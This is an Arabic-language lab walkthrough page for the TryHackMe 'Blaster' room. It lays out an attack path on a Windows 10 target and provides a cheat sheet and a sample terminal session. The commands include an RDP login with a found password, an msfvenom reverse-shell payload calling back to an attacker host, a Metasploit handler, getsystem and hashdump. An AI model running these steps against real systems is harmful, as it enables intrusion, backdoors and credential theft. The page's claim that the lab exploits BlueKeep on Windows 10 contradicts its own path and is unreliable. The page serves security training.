Lab: Blaster | STY IT Labs
STY IT Labs · TryHackMe Room

Lab: Blaster
Windows CVE Exploit

اختراق Windows 10 عن طريق CVE-2019-0708 (BlueKeep) — ثغرة RDP خطيرة تُستغل بدون credentials، مع Privilege Escalation ونشر الـ backdoor.

Easy Difficulty CVE-2019-0708 BlueKeep RDP Metasploit PrivEsc Persistence
RDP :3389 CVE-2019-0708 BLASTER
Easy
1 – 2 ساعة
4 مهام
260 XP
TryHackMe
Windows 10

عن اللاب

Blaster هو لاب Windows exploitation مبني على استغلال CVE-2019-0708 (BlueKeep) — ثغرة خطيرة في الـ RDP أثّرت على ملايين الأجهزة وبتسمح بتنفيذ كود عن بُعد بدون أي credentials.

هتبدأ بـ Nmap لتأكيد إن الـ RDP شغال على port 3389، ثم تستخدم Metasploit مع module خاص لـ BlueKeep للحصول على Meterpreter shell، وبعدين تعمل Privilege Escalation وتنشر Backdoor لضمان الـ persistence.

BlueKeep يشتغل فقط على Windows XP / Vista / 7 / Server 2003-2008 — Windows 10 محتاج طريقة مختلفة في اللاب ده.

Blaster Badge

أكمل اللاب واحصل على الـ Badge الرسمي — أضفه لملفك على LinkedIn

مسار الهجوم

1

Recon — Nmap Scan

فحص الـ ports — هتلاقي RDP على port 3389 وwebserver على port 80

port 3389 RDPport 80 HTTP
2

Web Recon — Find Credentials

تصفح الـ website على port 80 — هتلاقي username اسمه Wade في الـ content

user: Wade
3

RDP Login — Windows Access

تسجيل دخول بـ RDP مع user Wade — الـ password بتلاقيه من نص الـ website

rdesktop MACHINE_IP
4

PrivEsc — Windows Exploit Suggester

داخل الـ RDP، ابحث عن PrivEsc بـ winpeas.exe أو PowerShell

winpeasCVE-2019-1458
5

Backdoor — Metasploit Handler

نشر msfvenom payload وتشغيل handler للحصول على SYSTEM Meterpreter

msfvenomSYSTEM shell 🏆

مراحل اللاب

Nmap Scan
Web Recon
RDP Login
PrivEsc
Backdoor
SYSTEM 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
nmap -sV -sC <IP>فحص الـ ports والـ servicesRecon
xfreerdp /u:Wade /p:<pass> /v:<IP>اتصال RDP بـ xfreerdpRDP
rdesktop -u Wade <IP>اتصال RDP بـ rdesktopRDP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe > shell.exeإنشاء Meterpreter payloadBackdoor
use exploit/multi/handler → set payload → runتشغيل Metasploit listenerBackdoor
getsystemمحاولة رفع الصلاحية لـ SYSTEMPrivEsc
getuidالتحقق من الـ user الحاليInfo
hashdumpاستخراج هاشات كلمات المرورLoot

المهام والأسئلة

Task 1 — Deploy & Recon

nmap scan · port 3389 RDP · port 80 HTTP · version info

+60 XP
02

Task 2 — Gain Access

Browse port 80 · find Wade's username · RDP login · explore desktop

+80 XP
03

Task 3 — Privilege Escalation

winpeas / exploit suggester · CVE-2019-1458 · getsystem

+60 XP
04

Task 4 — Post Exploitation

msfvenom payload · multi/handler · SYSTEM Meterpreter · hashdump

+60 XP
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — Blaster Attack

root@kali — Blaster
# ── Recon ────────────────────────────────────
└─# nmap -sV -sC 10.10.X.X
80/tcp open http Microsoft IIS 10.0
3389/tcp open ms-wbt-server (RDP)

# ── RDP Access ───────────────────────────────
└─# xfreerdp /u:Wade /p:parzival /v:10.10.X.X
[INFO] Connected to 10.10.X.X — Welcome, Wade!

# ── msfvenom Payload ─────────────────────────
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.X.X.X LPORT=4444 -f exe > shell.exe
Generated payload: shell.exe (73802 bytes)

# ── Metasploit Handler ───────────────────────
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set LHOST 10.X.X.X → run
[*] Meterpreter session 1 opened
meterpreter > getsystem
...got system via technique 1 (Named Pipe)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

└─#

المهارات المكتسبة

Windows CVE Exploit
RDP Exploitation
msfvenom Payloads
Metasploit Handler
Windows PrivEsc
Credential Hunting
Persistence
Hash Dumping

الأدوات المستخدمة

nmapPort & Service Discovery
xfreerdp / rdesktopاتصال Remote Desktop
msfvenomإنشاء Meterpreter payloads
Metasploit (multi/handler)استقبال الـ reverse shell
winpeas.exeWindows Privilege Escalation Scanner
ارفع الـ shell.exe للـ target عن طريق الـ RDP session (copy-paste أو SMB) وشغّله من هناك.